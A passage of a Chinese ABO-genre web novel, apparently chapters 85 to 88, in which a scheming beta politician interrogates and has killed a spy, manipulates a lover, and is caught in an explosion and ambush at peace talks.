卡萨挑眉,靠着门框目光看向我,用眼神询问我的未婚夫是不是一直这个德行。 我用沉默是金回答了她。 她原本幸灾乐祸的眼神又变得同情起来了。 卡诺卡一旦吵闹起来就没完没了。 中午去食堂吃饭期间,他就一直在我的耳边叽叽喳喳说个没完没了。 不仅是最近看的爱情小说,还有他绞尽脑汁从报纸里看到的一些社会报道和新闻然后抒发他没有半点营养的见解。 我偏偏还得耐心听,然后挂起温柔的微笑夸他真厉害。 “姐姐到底什么时候才能找回来?”卡诺卡看一眼盘子里的食物就厌恶地推到一边。 “快了。”我忘嘴里扒饭。 “还有,你弟弟那个,叫什么来着?算了不重要,以后你要做什么行动交给他不就好啦,他一个alpha肯定是比你有用点的。” “下次一定。”我继续吃肉。 “你烦死了,我是你的未婚夫,你做什么都得优先考虑我。” “嗯嗯,我会的。” 卡诺卡说得口干舌燥,又不愿吃不够精细的食物。等我吃完,转头就看见他委屈巴巴眼眶通红瞪我的模样。 “我说了那么多,你到底什么反应啊!你是不是就想着约西尔!我是把他带过来了,但我不允许,你就不行!” 我摇头。 卡诺卡顺理成章接受了克斯蒂是我情人的事实,再接受约西尔也是情人的事实也没什么好奇怪的。 我就是比较惊叹卡诺卡竟然能识大体到愿意带上情人给未婚妻纾解压力的程度。 无奈地摸一把他的脑袋,“诺卡,这里是军事区,我不做那种事情。而且有你在,我不会看其他人。” 刚才还在发脾气的omega被简单的几句话哄好了,很快又在我的花言巧语下转移了注意力,被窝忽悠着去午休睡觉。 等把人送去房间内,又是花费好长时间让他接受军事区的居住环境,我才身心疲惫地关上房门。 卡萨等待我好长一段时间了,靠着墙壁脸上笑容满满,“哇哦,白议员,你好忙啊。” 我宁愿回到和卡萨关系不怎么好的昨天,起码她不会做出这一幅贱嗖嗖的表情哽我。好吧,昨天之前她也不知道卡诺卡是什么德行。 “别扯了,卡萨,你找我是因为其他事情吧。” 年轻的士兵表情立刻变得严肃,“是。” “就在刚才,我和你那个叫阿丽的朋友,抓住了个卧底。” 我揉捏太阳穴的动作停顿在半空,直视卡萨的眼睛,“你没有告诉古奇伽中士吧。” “没有。”卡萨声音压低,“在解剖室发现的人,也是你带来的法医,在这人的身上发现了矿石制品。” “这就是你越过中士直接找我的原因啊。”我说。 与她并肩走向解剖室,卡萨的声音越压越低。 “他就是白灯湾的卧底吧?”她说。 “这个节骨眼跑去解剖室处理替身尸体,也就只有白灯湾。” 走到解剖室门口,卡萨抬手压在手柄上,侧眸看向我的眼神飞速闪过什么,很快又坚定下来,打开了解剖室。 “白无垠,你除了是贫民窟出来的人,还是哪个组织的人?‘重构’对吗?” 解剖室的门关上了,我静静凝视卡萨,几秒后大方承认:“对,我是。你要把我送上法庭吗?” 完全是挑衅的语气,如果是昨天的卡萨一定会如我所愿。 但今日的卡萨却自嘲地笑笑,“有什么区别吗?” “其实在忙碌上来说没区别。”我忽然被抽走了所有的力气萎靡下来,“而且没有工资的,她们给我画的一万零一百块的饼都还没给我呢。” 卡萨不敢置信,“你们组织入会费那么贵吗? “其实只要一百块,但我没钱,就暂时欠着。” 卡萨唏嘘,想了想就从口袋里拿出钱包抽出一张一百元钞票交给我,“拿去吧,就当我之前挑衅你的道歉。” 手上抓着一百块钞票,我看了又看,反复看,不断看,多多看! 这,这是一百块钞票!好多钱啊! 白无用已经很久没有摸到实实在在的一百块钱了(之前被塞钞票的不算) 还不等我龇着大牙仔细端详手中的钞票,不知道从哪里伸出来一只手把我的钞票抽走了。 阿丽把钞票装进口袋,“现在你欠我一万块了。” 我:“你还我。” 阿丽:“不想还你。” 我咬牙切齿狞笑,忽然想到一个主意,“其实那一百块是我借给你的。你倒钱我一百块,算上我那一百块,就相当于你欠我两百块。” 表情有些呆的alpha女性闻言脑子转不过弯了,把眼睛眯成一条缝都没思考出逻辑在哪里。 旁观的卡萨:…… 她叹息:“哎……要不看看脑子吧,再这样下去很丢你们组织的脸啊。” 第86章 经过我的不懈努力,阿丽终于把那一百块钱还给我,并且倒欠我两百块巨款。 她交出钞票的时候,眼神都是呆滞的,弄不明白为什么好端端地又欠了我两百块。但碍于智商问题,她想不出原因,所以只能接受。 我安慰她不要难过,因为组织还欠她一万块呢。 见她懵懵懂懂地点头,我大发慈悲地原谅了她。 “哎,毕竟你和我是多年的朋友了,我就不生你气了。”我对阿丽说。 阿丽点点头,“嗯,谢谢你。” 卡萨欲言又止,止言又欲,欲而再止,最后朝着阿丽伸出手说:“那张钞票本质上是我的钱,所以你也欠我一百块。” 我倒吸一口凉气,心中大骂卡萨的缺德。 什么?我骗了阿丽两百块?那不算,我和阿丽是过命的交情,阿丽不会计较的。 于是我默默把卡萨那一百块再次记到我的头上,阿丽总共欠我三百块。 阿丽不懂肮脏政客的弯弯绕绕,所以点头表示自己知道了。 随意的打趣之后,我脸上的表情转换,直接说主题:“那个被抓住的卧底呢?” 阿丽眨巴眼,跟上我的脑回路说:“就在里面。” 我和卡萨脚步正打算往里走。 谁知道卡萨和阿丽同时停下脚步,动作整齐地往门外看去。 我心下了然,靠近了门口,同时提高音量继续说:“矿石制品在哪里找到的?” “他的舌头底下。”阿丽回答。 我已经走到了门口,手放在门把上。 脚下人影靠近了些,似乎是想要听得更仔细。 我趁着这个机会,猛然拉开房门将人拉进来,再掐住他的脖子压在墙壁上! 卡萨手疾眼快将门关闭,拔出配枪对准了他的太阳穴。 看清楚被我掐着的人,我惊讶叫出了他的名字,“约西尔!” 被我压在墙上的beta男孩被吓得面色苍白,嘴唇颤抖地看着我。当枪口压上他太阳穴时,他更是瑟缩闭上双眼一动不敢动。 “我,我是不小心听见的!我没听多少重要的东西!” 卡萨加重了力气,“谁知道你是不是和卧底一伙的?” “我不是!我什么都不知道!”约西尔求饶。 我掐着他的脖子一言不发,冷眼看着他的惧怕和挣扎,内心则是闪过许多思绪。 约西尔只是霍里家的一个私生子,话语权比他爸还不如,哪怕真的听进去了什么也做不了。倒是柯里亚纶,如果掌握了我的秘密,绝对会捅到卡特勒那里去。 我目前还需要卡特勒帮我撑腰,绝对不能让柯里亚纶得逞。 所以现在最好的解决办法就是杀了约西尔,而且处理起来很简单,只要交给卡诺卡,卡诺卡会一万个愿意替我处理好尸体。 那个被卡特勒特意教养出来的omega在配偶的本分上总是比常人更让人称心如意。 但还有一个问题,卡特勒会怎么想? 约西尔只是个私生子,如果没有卡特勒的允许,卡诺卡能把他带过来吗? 卡特勒也知道卡诺卡是个蠢货不顶用,出了事还得找人来担责。如果约西尔死了,卡特勒会追查约西尔死亡的真相吗? 脑海中划过万千思绪,我递给了卡萨一个眼神。 卡萨挑眉,开口说:“白无用,你不会是想要包庇他吧?他要是把这件事传递到上行城,咱们都得玩完。现在是白灯湾和叛乱党谈判的关键时期,马虎不得。” 我看见约西尔的睫毛颤抖了一下。 “卡萨,不要对他那么凶。”我原本掐着他的手指放松,改为缱绻的安抚,“让我和他单独谈谈,他是个好孩子,不会为难我的。” 静默一瞬,卡萨收起了手枪,“去聊聊吧。” 我牵起约西尔的手到了另一个小角落。 看着他胆怯惧怕的模样,我抬起他的下巴观察脖颈,“抱歉,刚才掐疼你了?” 约西尔眼眶微红,有些害怕下意识躲开我的手。 我的手停在半空。 气氛僵硬了些。 我垂下眼帘,嘴角溢出些许的苦涩,“你来之前,团长单独找你谈过,对吗?” “你,你知道……”约西尔一愣,开口后立刻意识到自己说漏嘴了。 “我当然知道。诺卡不是什么好相处的性格,就连我和他相处的时候都有些吃力,何况是你。但你是他唯一承认的朋友,团长为了保护诺卡,一定会把你也拉到军事区陪诺卡一起吃苦。说不定等诺卡闯祸了,还会把你拉出来当替罪羊。” 我无奈又包容地看着他,像是个长辈那样握着他的手,语气轻柔:“有些时候,我连替你说句好话都做不到。” 越是往下说,beta男孩的表情就越是阴翳,甚至染上了怨恨。 我知道这些情绪对准的不是我,而是卡特勒和卡诺卡。 他是个不受重视的私生子,父亲是个变态,两位舅舅当他不存在,好不容易攀上的“朋友”又是个丝毫不顾及他感受的蠢货。 约西尔早就在这样的环境下扭曲了,否则也不会和我缠上。 本来以情人的身份相处久足够屈辱了,偏偏卡特勒还要他做替罪羊。要是条件允许,约西尔绝对会杀了卡诺卡出气。 没关系,我是个绅士。 情人受了委屈,我会替他难过,也会帮他处理。 “约西尔,你知道吗?团长她怀疑卡瑟娜失踪是我干的。”我用更轻柔的语气对约西尔说,眼神带着包含苦涩的泪花,“今天我好不容易从叛乱党手中逃出来,就听到白灯湾和叛乱党再谈判的消息,你知道我是什么心情吗?” 是什么心情你别管,总之你跟着我的思路走就行了别想其他有的没的。 “可……”约西尔的咬着唇,视线不受控制地看向那边的卡萨。 alpha女性还在慢条斯理地擦拭手枪,与另外一个alpha女性聊着什么,时不时投递过来危险的视线。 那种濒临死亡感觉让约西尔感到恐惧。 他就算再不怎么受重视,也享受着衣食无忧的优渥生活,根本没想到有一天会面临被人差点一枪蹦脑袋的局面。 这样的恐惧让他本能地抗拒。 “你是在说我身后的组织吗?”我轻声问。 约西尔抿唇,算是默认。 我却与他靠得更近了,嘴角蹭着他的面颊,柔声说:“可如果不依靠其他人,我怎么脱离卡特勒的掌控?” “约西尔,你难道要看着我和诺卡结婚吗?” “我不要!”约西尔脱口而出,急切又病态地抱住了我的腰昂着头回应我的吻,“那个贱人他凭什么!” “他就是仗着团长而已!他只是个蠢货,他什么都不是!” 另一边,阿丽疑惑地看着那边的两人。 “不是要杀他吗?为什么突然玩起来了?” 卡萨一个眼神瞥过去,“你很有经验?” 阿丽想了想,点头,“嗯,她总是在我去找她的时候开始和人玩。” 卡萨忽然哽了一下,想到某种可能,于是试探性问:“总是这样?你去之前和她发过消息吗?” “没有。” “有没有一种可能,我是说可能。”卡萨语重心长,“是你总在她玩的时候不请自来。” 阿丽恍然大悟:“她也总是说很奇怪的话,原来是在骂我吗?” “你终于知道了啊!”卡萨叹为观止。 没过一会,卡萨看beta女性和她怀中的男孩说了些什么,才确定解决了。 “带着他一起去吧。”我说道。 卡萨看了我几眼,什么都没说就把枪收起来。 我知道卡萨的顾虑,但我递给他一个安抚的眼神。 没有十足的把握,我当然不会放心让约西尔看见这些东西。 何况就算他临时叛变,我也有办法在他叛变之前杀了他,卡诺卡还会主动站出来替我揽责。 解剖室内的温度有些低,约西尔又不喜欢其他两人,就贴着我的手臂走,依赖性十足。 我拍拍他的脑袋,终于来到最里面的那一间。 “总算来了,几位大忙人。”祁圆见了我进门就调侃我。 视线越到约西尔身上,他嗔怪怒骂一声。 被抓住的卧底是一位alpha男性,如果不是被阿丽和卡萨亲自抓住,我还以为只是以为普通的巡逻士兵。 他的眼睛,嘴巴和耳朵都被堵住,四肢束缚绑在房间的角落。 祁圆用镊子夹起一颗胶囊大小的东西展示给我看,“就是这个,从他舌头底下发现的矿石制品。还没有使用过,询问他也不愿意说出这个制品的用途要用在哪里。” 我懂了,他们在等我审讯呢。 卡萨自觉接下来的事情她一个外人听不得,正想离开,却被我开口阻止。 “卡萨,你可以留下来。” “你确定?我不会被你们组织杀人灭口吧?” 我给她一个微笑,“你是走我关系的后门,是特例。” 当然我也没忘记安抚约西尔。 阿丽对自己的某种能力的欠缺很有自知之明,站在我身边充当保镖了。 等大家都差不多了,我才放开了卧底的耳朵,开门见山:“你是白灯湾那边的人,对吧?” 他乍然听见说话的声音没反应过来,意识到我在说什么后应该是想要嘲讽我,却碍于嘴巴被堵着,只能发出呜咽。 我继续说:“我想想你近段时间内在军事区干了什么。” “第一,往炸弹里加了矿石,造成军事区大规模人员伤亡。” “第二,察觉出军事区内有组织重构的人员,于是杀死了叛乱党的替身用以试探。” “第三,在察觉出白灯湾和叛乱党会再谈判,防止组织重构出现幺蛾子于是准备来解剖室处理尸体。” 见他没动,我笑了笑,抬起手将这当他眼睛的布也扯下来。 是一双黑曜石般漂亮的黑色眼睛,不该出现在一个卧底身上,也不该出现在士兵身上。 “现在你把我的脸看清了。”我低声提醒他,“你很清楚,要么死,要么听话。你怎么选?” 卧底的牙齿咬着布条说不了话,就用眼睛瞪我,好像我是他杀父仇人似的。 真是冤枉,至今为止我杀的就没一个是无辜人好吧。 大家都是烂人,怎么你是可回收垃圾我就是有害垃圾?这不公平诶! 要我说,你们都是垃圾。我就不一样,我可高尚了! 他还是恶狠狠瞪人的样子,我笑容灿烂,干脆把他嘴上的布条也扯了。 嘴巴得到放松,他反口就要咬我。 我趁机将手指伸进去捅他嗓子眼。 “咳咳咳!” “走狗!”他骂我,“背叛白灯湾,你们都得上处刑台!” 我没生气,反而觉得新鲜。 这么久了,我终于见到传说中白灯湾的人了,我能不新鲜吗? 笑眯眯看他怒骂了很久,我忽然说:“你口中的白灯湾,她们根本没有居住在里面吧?” 卧底浑身一震,猛然将头低下去。 我则是撑着下巴,用平淡的语气说:“她们居住在群岛,对吗?” “我在上行城住的时间不长,但也有两个月了。托卡特勒的福,我住的位置离白灯湾比较近。” “我怎么看都看不清里面到底长什么样子。后来发生的事情那么多,我就更奇怪了。” 我接过祁圆的镊子,把那矿石制品摆弄到他的面前,说:“她们本身就在用白矿石来控制所有人,又怎么会容忍自己也暴露在危险中呢?” “再看看那些总是宣传危险,私人财产标签之类的群岛,我就知道了。她们不是不知道白矿石危险,而是早就远离危险地带,随时监控政府所有人了。” 要不然,为什么上行城金字塔顶层的人提起白灯湾时都是一副意味深长的表情呢? 不知道是谁说的一句话一直在我脑子里徘徊,是让我怀疑的导火索。 “她们已经很久没下来了。” 笑死了,近在咫尺的地方,怎么下不来呢?政府的科技又没有先进到真搞出来一个浮空岛。 卧底沉默不说话,我脾气很好地摸一摸他的脑袋,“她们费尽心思隐藏真实居住地,也是担心被上行城的人反叛吧?” “是个人都有野心,要不是腺体被白灯湾的人掌控在手里,上行城老早就反叛了。” “现在叛乱党打仗这么好的一个机会,白灯湾巴不得军事区和叛乱党之间消耗完,这样她们就能多出时间来建立新型城市了。” “小卧底,你说我的想法对不对?” 第87章 可怜我没怎么读过书,到上行城才知道世界地图长什么样,到了军事区才明白过来一直不允许外人进入的群岛上到底居住了什么人。 想想我就觉得好笑。大陆上的人口跟垃圾一样多到需要用炸弹一次性清除,白灯湾的人却能在群岛上享受最好的资源,住最宽敞的房子,然后通过白矿石控制其他人,举杯欢庆的同时嘲讽其他人。 真的好想一炸弹轰死她们。 但眼下我要做的不是唾沫白灯湾,而是好好审问这个来自白灯湾的卧底。 于是抬起他的下巴,垂眸看着他的眼睛,“怎么不说话,小卧底?我说中了?” 他没有了刚才的嚣张,但依旧嘴硬。 “呵,以你们组织的能力,知道了这些怎么会不把消息放出去呢?”他的眼底多了几分讥讽,“你们说得多正义,实际上你们也在期望白灯湾和叛乱党互相消耗牵扯。叛乱党如果真的倒下,你们就是白灯湾清除的下一个目标!” “哇哦!”我惊呼一声,“说点我不知道的。” 卧底:…… 他被我的不要脸震惊到瞳孔地震,气急败坏下又想要咬我的手。 “啪!” 一巴掌打在他的脸上,我的笑容消失,“好了,小卧底,我没多少时间和你掰扯有的没的东西。今晚七点再谈判就开始了,你和我说说你藏着的矿石制品打算给谁用?” “你休想知……” “你说要是叛乱党把卡瑟娜杀了,这消息一旦传回上行城和克亚区会引起多大的轰动?” 卧底猛然一震,“你什么意思!” 我轻轻揉捏他被我拍打的面颊,继续说:“哦,也不一定是叛乱党杀的。可以是白灯湾。毕竟白灯湾干的缺德事那么多,多一个暗杀高级军官罪行也不多。” 随着我的话语落下,他的面色越发苍白。 眉眼,面颊,下颚,脖子。我的视线将他脸上哪怕是蛛丝般细微的变化收入眼底。 很好,白灯湾还不知道卡瑟娜是我们的人,也是真心认为绑走卡瑟娜的是叛乱党。这个信息差我得好好利用。 “你在赌?赌谈判完成叛乱党就会放了卡瑟娜?”我问他,“但你有没有想过,我刚从叛乱党那回来不久呢。你猜我有没有看见卡瑟娜?你再猜猜,我为什么有底气提起她?” “……”卧底的显出几分崩溃的神色,想要低下头却被我掐着脸,于是只能无望地闭上眼。 过了不知道多久,他才用飘忽的语气说:“我怎么确保,你得到消息后不会破坏我们的计划?” 我轻笑,“因为我们也需要叛乱党来牵制白灯湾啊。我们只是一群玩过家家的组织而已,就是趁着你们不注意玩舆论战。要真闹起来,我们是半点军力都没有啊。” 假的,有卡瑟娜在我们真不怕打起来,只是那样不符合罗拉蒂尼“最少成本”的原则。 “不如这样吧。”见他心理防御崩塌差不多了,我大发慈悲地松开他的脸,说:“这一次我们坚决拥护白灯湾的统治权,无论叛乱党如何作为,我们都想办法把卡瑟娜救回来,并且让叛乱党自愿割让一部分土地,如何?” 卧底的眼睛一下子睁开了,“你们能做到?” 我露出标准的八颗牙齿,“当然,白无用可是上行城来的参议员,坚决站在你们立场。” 嘻嘻,白无用是白无用,和我白无垠可没关系。 有了我的再三保证,卧底总算是愿意松口了。 “大人们原意是派我来处理尸体上的痕迹。至于矿石制品,则是以防万一。” 我捕捉关键词,“以防万一?在谈判难道还会出现其他问题?” 卧底抿了抿唇,低声说:“是给古奇伽中士使用的。” 一直站在身后旁听的卡萨突然站起来,“什么?” “古奇伽中士从小接受的就是政府教育,根本不可能生出叛乱的心思!白灯湾要是出事,她比谁都着急!” “但她已经开始怀疑第一次*特殊物质炸弹投放的罪魁祸首了。”卧底说道,“大人们第一次投放弹片没多久,古奇伽中士就向上禀告相关问题。这些都被大人们打了回去。” “可她太固执,直到15日前,她都还在坚持不懈地调查这件事。如果不是卡瑟娜将军失踪,她一定会追查到白灯湾大人们身上!” 卡萨的眉眼染上怒火,大步上前拽住卧底的衣领,“所以你们完全无视了她为白灯湾这些年的贡献是吗?” “她是想要追查下去,但她又怎么知道是白灯湾投放的炸弹?作为军事区的中士,作为白灯湾下忠诚的士兵,她哪一条做错了?” “她就是没做错!”卧底被掐着衣领呼吸困难,面颊被憋得通红,“所以她才会被白灯湾大人们盯上!” 卡萨的愤怒被彻底点燃,猛地将卧底摁在墙壁上,还想拔枪。 我迅速上前压住她的手,“卡萨!冷静点!” 阿丽见情况不对,主动上前强硬地把卡萨和卧底分开来。 一人一边,谁都不能动。 被按着的卡萨:“……你再提着我后脖子,我就和你同归于尽。” 阿丽面露不赞同,“你打不过我的。” 卡萨哽住。 将两人放回远处后,我拍了拍卡萨的肩膀,转而继续和卧底对话。 “继续说,白灯湾今晚要干的绝对不止一件事。” 卧底趴在地上喘了一会气,才声音沙哑说:“这一次谈判很重要,大人们也知道白矿石的事情再隐瞒下去不好,所以打算将陪审团的人拉进来。新型城市的建立离不开克亚区的人主动出力,你又是克亚区选上来的参议员,所以大人们思考再三,想要重新洗牌上行城,将陪审团和另外一部分的人拉入利益圈内。叛乱党首领就是她们计划之中的一部分。” 卧底舔了舔嘴唇,“就是这些。” 我身子向后昂,从胸口缓缓呼出一口气息。 好大的一张饼,好诱人的利益。 简直是伊甸园的苹果,谁来了都恨不得咬上一口。 上行城大洗牌啊,我又是克亚区选上来的参议员,可想而知如果这件事成了,我能爬到多高的位置上。别说陪审团了,只要时间允许,和白灯湾的人站一块都可以。 罗拉蒂尼,你也算计到这了对吗? 要是我没忍住诱惑,你藏在军事区的卧底是不是会立刻枪毙我? 想到藏在暗处虎视眈眈盯着我太阳穴的一堆人,我就觉得脊背发寒。 如果卡萨和阿丽没有在谈判前抓住卧底,让我提前知道白灯湾的打算,那按照我的性格我会怎么做? 会当场反水?还是保持自己的原则(虽然我压根没有原则) 总之很复杂,信息差带来的副作用巨大,指不定我会彻底被白灯湾掌控。 卧底见我不说话,以为我还没问完,于是皱着眉说:“你要说的我都说了,再问也问不出来。” 我点头,疲惫地揉捏眉心,“我知道。” “阿丽,把他解决了,找个地方埋起来吧。” 卧底顿时瞪大眼睛,“什么?你要杀我?” “我是联系白灯湾的重要人物,你要杀了我,白灯湾的大人们一定会察觉到!” 我却轻嗤一笑,“所以呢?在场所有人的脸都被你看光了,你还指望我留你活口?” “至于白灯湾的人察觉到什么……那是叛乱党要烦恼的事情。” 他还想说什么,却被阿丽干脆利落地拧断了脖子。 “啊!”存在感极低的约西尔终于忍不住爆发出小声惊恐的叫声,将其他几人的注意力吸引过去。 “胆子那么小啊,弟弟。”祁圆打趣笑道,“这些场面以后还是少看点好。” “用得着你管!”约西尔恶狠狠瞪一眼祁圆。 大概是情敌之间特殊的气场,两人自打见面就互相看不顺眼,如果不是重要场合不适合吵架,两人就已经打起来了。 我没心思搭理两人,而是看向卡萨。 alpha女性已经冷静下来了,但眉眼间还有残存的怒意。 接受到来自我的视线,她才扬起牵强的笑容,“笑话我呢?” 我答非所问,“你打算告诉古奇伽中士么?” “什么?”卡萨明知故问,“告诉她什么?白灯湾想要杀了她的事实?你猜她信不信?以她固执的程度,你觉得她会等着白灯湾的人来杀她,或者反杀白灯湾的人,还是她自己……” 说道后面,卡萨笑容维持不下去了,只有冷冰冰的怒火。 “我猜她会吞弹自尽。”我替她说完后面的词语。 卡萨的气息压得更低了。 “回去吧。”我低声说,“消失太长时间,会引起其他卧底注意的。” “嗯。” 临走前,我仔细嘱咐阿丽应该怎么处理这一具卧底的尸体,又该怎么布置埋尸现场。 阿丽很认真地记下来。 出了解剖室,卡萨没心情和我聊下去,就直接走了。 祁圆还得处理其他的工作,想和我发烧都没时间,只能背着约西尔朝我抛媚眼。 “你打算怎么做?”约西尔拉着我的手小声问。 我侧眸看他,“约西尔,你希望我怎么做?” 约西尔抿唇,在快要到他房间时停下脚步,“你瞧不上我?” 这小变态又要发神经了,我立刻俯身亲了亲他的嘴角。 “约西尔,不要那么偏激。”我说道,“其实白灯湾的人怎么做都行,但绝对不能让卡特勒进入白灯湾新布置的利益圈。” “我不想和诺卡结婚,你应该和我感同身受才对。” 约西尔的情绪肉眼可见好了不少。 他压着兴奋,踮起脚来回应我,“我能替你做什么?” 我摩挲他的面颊,语气沉稳包容,“只要你能保守好属于我们两人的秘密,这就足够了。约西尔,我是参议员,盯着我的人很多,你的大舅舅也盯着我。” “但我保证,只要军事区的事情做成了,我和诺卡取消订婚的计划就成功了一半。而另一半,我得靠你。” beta男孩的眼眸染上水雾,我亲了亲他的指尖,眼底满是对他的喜爱和请求,“约西尔,你能帮我的,对吧?” “其他人都帮不了我,其他人也不了解我,只有你知道我的真实身份。我能感觉到的,你最爱我了,对不对?” “我当然最爱你!”约西尔迫不及待地追寻上去,“他们都证明不了,谁都没法替你保守秘密。” “尤其是卡诺卡那个贱人,他的脑子空空如也,一定会暴露出去!但我不会,我和其他人不一样,我知道怎么保守秘密!” 我微微一笑,“我知道,我理解,约西尔。” 将约西尔送回房间,我用袖子把嘴唇擦了擦。 吃嘴子确实很美味,但钱和权更香。 看了眼时间,我回到了自己的房间准备好今晚谈判的资料。 8月20日,军事区,夜晚七点,白灯湾和叛乱党再谈判开始。 现场人员为军事区代表古奇伽中士,上行城参议员白无用,上行城陪审团团长卡特勒,白灯湾代表人,叛乱党首领以及其副手。 卡特勒和白灯湾代表人均为远程视频联络。 我和古奇伽中士肩并肩走在前面,卡萨和小林则是落后我们一步。 由于谈判需求,双方在矿洞附近临时搭建了一个封闭居所,两边是各自的士兵。 夜晚的军事区很安静,我路过一个个持枪的士兵,看着她们面无表情的样子,内心某处诡异的笑点又被戳中了。 “咳咳!”我咳嗽两声。 第88章 临时帐篷占地面积很大,足够容纳所有谈判的人。 我和古奇伽中士老远就看见了昂撒。 和我一样,他也浑身包裹着纱布。 也不知道我俩谁更可怜点。 双方终于汇合,古奇伽中士勉强扯了一下嘴角,主动伸出手。 昂撒的视线忽略古奇伽,双眸眯起看向我,忽然裂开笑容,也伸出了手和古奇伽中士相握手。 古奇伽中士微微蹙眉,双手分开后稍稍往前站挡住了我的身形。 这是一种庇护的姿态,看得我有些惊奇。 我的天,我在古奇伽中士眼里到底是什么形象?难道不是勇闯叛乱党和叛乱党首领殊死搏斗最后凭借机智勇敢争取到谈判机会的伟大参议员吗? 算了不管了,好好做自己的事。 进入帐篷内,专业人员对着显示屏一阵捣鼓。 雪花电流之后,一位年轻女性的高清身影出现在屏幕内。 见到女性的下一刻,军事区的所有人包括我都一起站起来,对女性微微行礼。 “军事区塞兰德斯古奇伽,中士头衔,向您敬礼。” 女性面带微笑,“晚上好,古奇伽中士。” 她又把目光放向昂撒,笑容更加公式化了,“晚上好,斯科特先生。” 屏幕又出现了另外的人,是团长卡特勒。 我表面上恭恭敬敬,实际上暗戳戳打量那位来自白灯湾的代表人。 诺伊娃,白灯湾外交部大臣。 看着27岁上下,看不出是abo中任何的性别,只知道第二性为女性。 我暗自思索时,客套的寒暄总算是结束,转而进入了正题。 我作为参议员主主要起一个装饰性的作用,要不是这场谈判是我争取来的,说不定这连我的座位都没有。 所以我和卡萨一起坐在距离中心最远的地方,一起低着脑袋敲电脑,假装在认真做笔记 小林作为地位最低的人,默认成为记录员。 “斯科特先生,我方已充分从彼此的角度出发,深度思考过矿洞归属权的问题。”诺伊娃面带亲切的笑容,视线透过屏幕落在昂撒身上,“第一次谈判时我们对这个问题进行了充分的意见交流,我希望此次谈判,我们能够更加坦诚,并拿出让彼此都满意的条件。” 我听了一耳朵的官话,暗自吐槽废话真多,有这时间电视机前的观众们都吃完一顿饭了。 这一场拉扯持续了很长的时间,涵盖的内容颇多。 我明面上是上行城人,还是个beta,虽然是从贫民窟里出来的人,也和叛乱党有过那么七弯八绕的关系,但还是得表现出对白矿石毫不了解的样子。 而古奇伽中士的眉头则是皱了又松,松了又皱。我离她稍微远的位置都能够清晰感受到她正在压抑的情绪。 那偶尔隐藏在桌子底下的手,青筋都暴起来了。 不仅是古奇伽,卡萨也是如此。 她已经从我这提前知道了白矿石的作用,这会听昂撒和诺伊娃用春秋笔法三两下概括白矿石的作用,甚至将某些有害的研究方向用语言美化包装出“使人类进步和性别稳定”的外衣后,卡萨更是将脑袋低下去。 我其实有些意外。 卡萨的性格实在不是多么擅长隐忍的人,却在这时候比古奇伽中士表现得还稳定。她甚至会自己加戏,在听到白矿石某方面的作用后还会像是个愣头小子似的抽气,然后露出年轻人特有的不稳重。 难道小白已经不是最厉害的演员了吗? 感觉再过不久她就能狠狠超越我了! 总之,经过长达四个小时的谈判,双方的初步意见勉强达成一致。后续更详细的归属地划分,得等到明天早上八点钟双方在矿洞内拟定。 以为今晚就结束了? 不,还没结束。 这时候正是敏感的时期,双方都知道彼此的心思,所以还得派遣更多的人手在矿洞内巡逻防止对方下绊子。 大晚上回军营也不方便,干脆双方人马都在附近安息。 卡萨刚刚走进我的大帐篷,就忍不住小声唾骂。 “一群omega玩意!” 我夸张地用两只手做了个双引号的手势,“我懂你,我也性别歧视。” 卡萨立刻被哽住了,想起来我是beta,在社会中受到的歧视最严重。 但没关系,我虽然被性别歧视,但我的不要脸很好得弥补了这一点,导致我身边曾经看不起我的人要么死了要么未来死了。 “我劝你大晚上的保存一下体力。”我说道。 卡萨闻言不发火了,而是皱着眉打量我,“你们又想干什么?” 我没有正面回答她,“卡萨,你想要塞兰德斯活下去吗?” 塞兰德斯古奇伽,从小接受政府的资助考上克亚区总部军事大学,20岁毕业进入军事区。如今35岁拥有中士头衔。一个无权无势克亚区出身的士兵,在35岁就拥有中士头衔,如果是其他人都得称赞一句前途无量。 卡萨一开始没仔细思考我的问题,脱口而出自己的答案,“那是我姐姐!我肯定希望她活着啊!” “你觉得她会让自己活着吗?”我继续问。 卡萨张开的嘴闭上,眉间凝上烦躁。 她站得笔直,直瞪瞪地看向我的眼睛,“你们想要卡瑟娜将军和古奇伽中士手中的军力?” 我点头,“对。” “她不会同意加入你们。” “所以我才问你希不希望。” 卡萨冷笑,“怎么?不同意的话你们也要杀了她?” 可嘲讽刚刚说完,卡萨又重新把嘴闭上了。 现在最好的情况,是古奇伽中士接受白灯湾继续对克亚区和上行城公民隐瞒白矿石,甚至军事区也无法知道白矿石的作用。她是这一次谈判的参与者,自然也是白灯湾的同盟。 但她也是战争的参与者,亲眼见过白矿石对alpha们的杀伤力,又怎么能够心安理得地接受白矿石的“美好”呢?何况叛乱党也会拥有白矿石。 难道她就不能只做一个旁观者吗? 我看出卡萨内心所想,于是毫不犹豫打破她的幻想,“旁观者,也是帮凶的一种。” “……我知道。”卡萨说。 旁观就是默认。 何况白灯湾不会允许有人旁观,等待古奇伽中士的只有死亡。 她还想说什么,却听见帐篷外响起急促短暂的刺耳鸣叫! 我和她皆是脸色骤变,猛地跑出帐篷外就被突如其来的热浪掀翻在地! “轰——!” 巨大的爆炸从远处的矿洞口产来,紧接着是矿洞坍塌发出的剧烈震动。 卡萨倒在地上,瞪大眼看着那边的动静,然后快速反应拉我起来,“艹!矿洞里还有很多士兵!” 我也跟着站起来,刚刚和卡萨跑出去两步,就拽住卡萨的手往旁边一拽! 一个子弹擦着卡萨的耳垂过去了! “叛乱党偷袭!”我惊呼! 整个场面乱作一团。 今天之前这里本来就是主要战场,现在也不过是清理出一块地方用来谈判。一旦开枪,所有热武器迅速回到前线开始运作。 卡萨护着我跑向我方武装车,可那些热武器长了眼似的,就往我们两人身上打! “草他爹的!叛乱党首领疯了!”卡萨裴破口大骂! 我面不改色,一只手拿枪防御,另一只手拿着通讯器灵活操作给卡特勒发去一段现场录像。尤其是源头矿洞,绝对高清不打码,然后“一个不小心”发布到了社交平台上,再卡着两分钟最后时间快速撤回。 “白无y——” 有什么东西轰然炸开,我的脑子嗡嗡作响。 等我反应过来的时候,已经被弹片击中倒在地上了。 卡萨倒在另一边,满脸是血。 熟悉的热度上涌,后脖子又是一片热辣辣地疼。 我草你大爷的死变态,昂撒我真的要弄死你,你他爸的好的不学学白灯湾偷偷往炸弹里面塞白矿石! 硝烟和飞扬的尘土混合在一起钻进我的鼻腔冲击大脑,不仅后脖子疼,喉咙也疼,头疼浑身疼! 模模糊糊的视线里,我看见那边的武装车下来几个人往我和卡萨这边走。 我没理他们,而是艰难地爬到卡萨身边将她拽起来打。 